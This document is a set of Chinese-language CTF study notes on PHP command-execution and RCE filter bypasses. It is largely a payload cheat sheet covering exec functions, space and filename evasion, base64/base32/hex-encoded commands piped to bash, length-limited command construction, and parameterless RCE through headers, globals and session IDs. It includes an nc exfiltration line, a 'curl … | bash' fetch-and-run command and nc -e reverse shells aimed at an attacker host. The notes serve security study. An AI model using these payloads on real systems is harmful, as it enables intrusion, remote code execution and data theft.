命令执行

命令执行函数

system

system(string $command,int &$return_val=?)

常用参数:command:执行command参数所指定2的命令,并且输出执行结果

​ 如果提供return_var参数,则外部命令执行后的返回状态将会被设置到此变量中

image-20240415220301914


exec

exec(string $command,array&$output=?,int&$return_car=?)

command参数:要执行的命令。单独使用时只有最后一行结果,且不会回显

output参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组

需借用print_r输出结果

image-20240415221342762


passthru

passthru(string $command,int &$return_var=? )

command 参数:要执行的命令

输出二进制数据,并且需要直接传送到浏览器

image-20240415221627371


shell_exec

shell_exec(string $cmd)

cmd 参数:要执行的命令

环境执行命令,并且将完整的输出以字符串的方式返回。功能等同于反引号

借用 echo ,print返回输出结果

image-20240415223256581


反引号

反引号`cmd `

在无字母,无数字的回显中使用极多

反引号也能执行系统指令

用echo/print来输出


popen

popen(string $command,string $mode)

commmand:要执行的命令

mode:模式。‘r’表示阅读,‘w’表示写入

fgets获取内容->print_r输出内容

image-20240415224354583


了解,跟popen函数差不多:proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)

前三个参数是必要的

command:要执行的命令

descriptor_spec:定义数组的内容

pipes:调用数组内容


pcntl_exec

pcntl_exec(string $path,array$args=?,array$envs=?)

path必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/user/local/bin/perl的perl脚本)

args是一个要传递给程序的参数的字符串数组

envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值

在当前进程空间执行指定程序


替换绕过函数

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
eval($c);
}
else{
echo "你是黑客么?";
}
}

没有过滤passthru,使用passthru(“ls”),查看目录

image-20240416143710195

再次使用passthru(“cat flag.php”)在源码里查看flag文件

image-20240416143804717



LD_PRELOAD绕过原理(不懂,不理解)

使用场景:disable_functions禁用所有肯用到命令执行的函数

image-20240416144048258

image-20240416152140349


mail()

绕过条件

能够上传自己的.so文件

能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数未被禁止

存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动将加载LD_PRELOAD中的.so文件),比如mail()、imap_mail()、mb_send_mail()和error_log()等。

构造payload

mail函数——调用子程序“/user/sbin/sendmail”——调动态链接库geteuid函数

image-20240422211743826


EVIL_CMDLINE

执行其他命令



蚁剑及pcntl绕过函数过滤

蚁剑

使用工具

image-20240422213700006


pcntl_exec函数

pcntl_exec(string $path,array$args=?,array$envs=?)

path必须时可执行二进制文件路径或一个在文件第一行指定了一个可执行文件路径标头的脚本(比如文件第一行是#!/user/local/bin/perl的perl脚本)

args是一个要传递给程序的参数的字符串数组

envs是一个要传递给程序作为环境变量的字符串数组。这个数组是key=>value格式的,key代表要传递的环境变量的名称,value代表该环境变量值

在当前进程空间执行指定程序

path:/bin/bash args:-c/bin/ls


info信息:没有禁用pcntl_exec函数

pcntl_exec函数没有回显

解决方法一:cat文件并输出到有权限读取路径;

解决方法二:shell反弹


image-20240422215438700


操作系统连接符

;

使多个命令按顺序执行

前面的命令和后面的命令都会执行

image-20240422215911843


&

使命令在后台运行

这样就可以同时执行多条命令

image-20240422220058617


&&

若果前面的命令执行成功

则执行后面的命令

image-20240422220427195


|

将前面的命令的输出作为后面命令的输入,把前面命令的结果当成后面命令的参数

前面的命令和后面的命令都会执行,但只显示后面的命令执行结果

image-20240422220722894


||

类似于程序中的if-else语句

若前面的命令执行失败,则后面的命令就不会执行

若前面的命令执行失败,则执行后面的命令

image-20240422221217054


空格过滤绕过

image-20240423145809746

绕过方法

1.大括号{cat,flag.txt};

2.$IFS代替空格;$IFS,${IFS},$IFS$9

linux下有一个特殊的环境变量叫做IFS,叫做内部字段分隔符

例子:

1
?cmd=ls$IFS-l

单纯$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名

例子

1
?cmd=ls${IFS}-l

*$IFS$9-后面加个$与{}类似,起截断作用,$9是当前系统shell进程的第九个参数的持有者,始终为空字符

例子

1
?cmd=ls$IFS$9-l

3.重定向字符<,<>;

“<”表示的是输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备

1
2
3
?cmd=cat<flag.php

?cmd=cat<>flag.php

4.url编码 %09(TAB),%20(space);

1
?cmd=cat%09flag.php

文件名过滤绕过

image-20240423151936357

绕过方法

1.通配符?*绕过

通配符是一种特殊语句,主要有问号和星号,用来模糊搜索文件

?在linux里面可以进行代替字母。?仅代表単个字符串,但此单字必须存在

1
#cat fl?g.tx?

*在linux里面可以进行模糊匹配。*可以代表任何字符串

2.単引号,双引号绕过

1
2
system('cat fl""ag.p""hp');
外单内双,外双内単

3.反斜杠\绕过

把特殊字符去掉功能性,单纯表示为字符串

system(‘cat fl\ag.p\hp’);

4.特殊变量:$1到$9、$@和$*等

输出为空

cat fl$1ag.t$9xt

5.内联执行

自定义字符串,再拼接起来

a=f;d=ag;c=l;cat$a$c$d.txt

6.利用linux中的环境变量

image-20240424171843635


常见文件读取命令绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号,跟cat功能类似
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看,用于排序文件
passthru("/usr/bin/s?rt" fl\ag.p\hp)
uniq:可以查看报告或删除文件中重复的文件
file -f:报错出具体内容
grep 在文件中查找某些字符串
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
2.查找flag:?cmd=passthru("grep fla fla*") 从fla*文件中查找包含fla的字符串

编码绕过

绕过方法

image-20240424175819140

1.base64编码

1
2
3
4
5
6
7
8
9
10
11
12
import base64
s=b'cat flag.php'
e64=base64.b64encode(s) 参数s的类型不必须是字节包
print(e64)

#echo Y2FOIGZsYWcucGhw|base64 -d
|把前面指令执行的结果变成后面指令的参数

执行命令
#echo Y2FOIGZsYWcucGhw|base64 |bash
#`echo Y2FOIGZsYWcucGhw|base64`
#$(echo Y2FOIGZsYWcucGhw|base64)

2.base32编码

1
2
3
4
5
6
7
import base64
s=b'cat flag.php'
e64=base64.b32encode(s) 参数s的类型不必须是字节包
print(e64)

?cmd=system('echo"MNQXIIDGNRQWOLTQNBYA===="|base32 -d|/bin/bash');

base32和Base64的区分方法
看到编码内容,只有大写和数字
根据Base64和Base32 区别:
base64中包含大写字母(A-Z),小写字母(a-z),数字0—9以及+/;
base32中只包含大写字母(A-Z)和数字234567

3.hex编码

1
2
3
4
5
6
7
8
9
10
import binascii
s=b'tac flag'
h=binascii.b2a_hex(s)
print(h)

执行命令
echo “ ”|xxd -r -p |bash
xxd 二进制显示和处理文件工具
-r -p将纯十六进制转储的反向输出打印为了ascll格式
bash也可换成sh、/bin/bash、反引号

4.shellcode编码

1
2
3
将ascll码前加\x
用print打印 //echo 无法执行
?cmd=passthru("print'shellcode编码'|bash")

image-20240424181629448


无回显时间盲注

页面无法shell反弹或者无法回显,或者没有权限,可尝试命令盲注

更具返回的时间来进行判断

读取文件指定行的指定位置的字符

相关命令

1.sleep

1
sleep 5  5秒后返回结果

2.cat+awk NR awk逐行获取数据

image-20240424195618422

3.cut -c cut 命令逐列获取単个字符

image-20240424195850245

4.if判断命令是否执行

image-20240424195930570

5.脚本

image-20240425135138314

长度过滤绕过

相关命令

1.>和>>符号

1)通过>来创建文件

1
echo benben>a

创建文件a,

并把字符串‘benben’写入到文件a里面;

注意:通过>来讲命令执行结果写入文件会覆盖掉文件原本的内容

1
echo dazhuang>a

a中的内容就会由benben变为dazhuang

单独使用>,会直接创建文件b

2)通过>>来追加内容

1
echo benben>>a

在原本文件内容后面追加“benben”

2.命令换行

在没有写完的命令后面加“\”,可以将一条命令写在多行:

1
2
3
4
5
6
#cat a

#c\
a\
t\
a

相当于\把换行的命令连接到一起执行

3. ls -t命令

将文件名按照时间顺序排列出来(后创建的排在前面)

1
2
ls
a b c

按字母顺序显示文件名

1
2
3
ls -t
b c a

按时间顺序显示文件名(后创建的排在前面)

只能精确到秒

4.组合运用

image-20240425141609130

执行文件方法

1
2
.a或者sh a
执行命令从标准输入读取或从一个文件中读取

对命令长度有限制时

把一些很短的文件名拼接成可执行命令

>创建很短的的文件名

ls -t按时间顺序列出文件名,按行储存

\连接换行命令

sh从文件中读取命令

5.dir及*和rev

dir:基本上和ls一样,但有两个好处

一是开头字母是d,这使得它在alphabetical序中靠前;

二是按列输出,不换行

*****:相当于$(dir *)

把文件名组合在一起当作命令执行

image-20240425143604984

rev:可以反转文件的每一行内容

1
2
3
4
5
cat flag
123456

rev flag
654321

长度限制为7的绕过方法

image-20240425150059857

思路:1.先寻找期望执行的命令

1
cat flag|nc 192.168.1.161 7777

kail的ip地址192.168.1.161

监听端口7777

1
2
方法
nc -lvp 7777

通过cat flag展示内容,再通过nc反弹,提交到192.168.1.161:777,最后通过监听端口获得内容

用以下方法进行拼接

>创建很短的的文件名

ls -t按时间顺序列出文件名,按行储存

\连接换行命令

sh从文件中读取命令

image-20240425150646487

最后用sh a执行命令

nc反弹shell

在 Kali Linux 上监听连接

1
nc -lvp <监听端口>

在目标主机上发起连接请求

linux

1
nc -e /bin/bash <kali的IP> <kali监听端口>

windows

1
nc -e cmd.exe <kali的IP> <kali监听端口>

长度限制为5的绕过方法

image-20240507140631920

1
2
3
4
5
6
7
ls -t>a
字符串长度为7,超过限制5

>\ \\
构造空格的字符串长度最少为5,超过一个空格便无法构造

长度限制为7时的命令不再适用

image-20240427192327068

构建命令

1
2
期望执行的命令
curl 192.168.1.161|bash

步骤一:构造ls-t>y

ls默认排序无法正常排出“ls\””"“-t"“>y"

“ls"默认会排在最后,无法正常执行命令的

所以:我们先创建文件ls\

1
>ls\

在创建文件”_”,并把“ls\”写入

1
ls>_

再创建其他文件

1
2
3
>\ \\
>-t\\
>\>y

用>>把所有文件名追加到文件_

1
ls>>_

最后sh_执行文件_中的内容,即创建文件y

1
sh_

步骤二:分解命令,创建文件

image-20240427195355410

步骤三:执行脚本sh

1
sh y

执行命令curl 192.168.1.161|bash

反弹shell

image-20240427200103558


长度限制为4的绕过方法

1
2
ls>>_
追加命令长度最少为5,超过4个,不再适用

image-20240507141056579

步骤一:构造ls -t>g

1
2
3
4
5
6
7
8
9
>g\;
>g\>
>ht-
>sl
>dir
*>v
>rev
*v>x

步骤二:构造一个反弹的shell

ip地址用16进制表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
>ash
>b\
>\|\
>A1\
>01\
>A8\
>c0>
>0x\
>\\
>rl\
>cu\
sh x
sh g

步骤三:开启http.server监听80端口

1
#python -m http.server 80

步骤四:执行脚本

1
#python poc4.py

无参数命令执行请求头绕过

image-20240507194352410

1
2
3
4
5
6
7
 preg_replace('/[^\W]+\((?R)?\)/', $_GET['exp'])
只要在exp里匹配到[^\W]+\((?R)?\) 则替换为空

[^\W]+\((?R)?\)
正则表达式[^\W]匹配字母、数字、下划线(如果在方括号的前面写上一个^,则代表要求匹配出了尖号后面列出的以外的字符)
[^\W]+\(?\)匹配到‘a()’形式的字符串,但是()不能出现任何参数
(?R)代表递归,即a(b(c()))都能匹配到

HTTP请求标头

getallheaders()

获取所有请求标头(跟抓包内容是反着的)

1
?code=print_r(getallheaders());

image-20240507200954233

pos()把第一项内容的值显示出来

或end()把最后一项内容的值显示出来

1
2
?code=print_r(pos(getallheaders())); pos拿到的的getallheaders显示的第一个
?code=print_r(end(getallheaders())); end拿到的的getallheaders显示的最后一个

把print_r改为eval就能执行命令了

apache_request_headers()

功能与getallheaders()相似,适用于apache服务器


无参数全局变量RCE

get_defined_vars()

返回所有已定义变量的值所组成的数组

1
2
3
4
5
6
?code=print_r(get_defined_vars));
返回数组顺序为GET->POST->COOKIE->FILES
?code=print_r(end(pos(get_defined_vars())));&cmd=system('ls');
&加入想要获取的命令
把print_r换成eval,assert即可
end获取GET的最后一项cmd的值system('ls')
1
2
3
4
5
6
7
8
9
10
11
var_dump(scandir(current(localeconv())));

查看当前目录下的文件

localeconv() 函数返回当前设置的地区的格式化信息,包括货币符号、小数点符号等。它返回一个数组,其中包含了与当前地区相关的格式化参数,该函数返回的第一个元素的值通常是小数点 “.” 。

current() 函数用于获取数组中的当前元素的值。在这里,它用于获取 localeconv() 函数返回的数组的第一个元素的值,即一个小数点。

scandir() 函数用于获取指定目录中的文件和文件夹列表。它接受一个路径作为参数,并返回一个包含指定目录中所有文件和文件夹的数组。scandir(".") 表示获取当前目录下的文件列表。

最后使用 var_dump() 函数将该列表输出到页面上。

无参数命令执行session

使用条件:php7以下

session_start()

启动新会话或者重用现有会话,成功开始会话返回true,反之返回false

1
2
3
4
5
6
7
?code=print_r(session_start());

返回1

?code=print_r(session_id(session_start()))
返回PHPSESSID的值
可以通过bp修改它

print_r修改为show_source(session_id(session_start))

用show_source读取flag文件源代码

修改外部函数为eval()

修改PHPSESSID为‘phpinfo();’

但无法直接执行,需要把phpinfo();改为hex编码后再用hex2bin()函数将16进制转为2进制,才可用eval执行